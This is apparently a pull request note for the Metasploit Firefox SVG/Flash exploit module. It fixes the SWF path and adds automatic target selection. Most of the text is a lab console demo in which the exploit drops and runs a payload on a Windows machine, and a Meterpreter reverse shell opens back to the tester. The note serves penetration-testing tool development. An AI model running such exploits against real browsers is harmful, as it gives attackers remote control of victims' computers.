Fix #1856 - Target selection and swf path

This fixes two issues:

1. SWF path (get_resource should be used)
2. Being able to automatically select a target

Demo for #2 (note: target 0 is "Automatic"):

	msf  exploit(firefox_svg_plugin) > set target 0
	target => 0
	msf  exploit(firefox_svg_plugin) > rexploit
	[*] Stopping existing job...
	[*] Reloading module...
	[*] Exploit running as background job.

	[*] Started reverse handler on 10.6.0.83:4444 
	[*] Using URL: http://0.0.0.0:8080/ASCRrwaTLg
	[*]  Local IP: http://10.6.0.83:8080/ASCRrwaTLg
	[*] Server started.
	msf  exploit(firefox_svg_plugin) > [*] 10.6.0.119       firefox_svg_plugin - Target selected: Windows x86 (Native Payload)
	[*] 10.6.0.119       firefox_svg_plugin - Sending Firefox 17.0.1 + Flash Privileged Code Injection
	[*] 10.6.0.119       firefox_svg_plugin - Sending .swf trigger.
	[*] 10.6.0.119       firefox_svg_plugin - Sending .swf trigger.
	[*] 10.6.0.119       firefox_svg_plugin - Child frame navigated. Sending binary payload to drop & execute.
	[*] Sending stage (752128 bytes) to 10.6.0.119
	[*] Meterpreter session 15 opened (10.6.0.83:4444 -> 10.6.0.119:2458) at 2013-05-22 14:40:04 -0500


I only have Windows target here, so please test it again on Linux & OSX.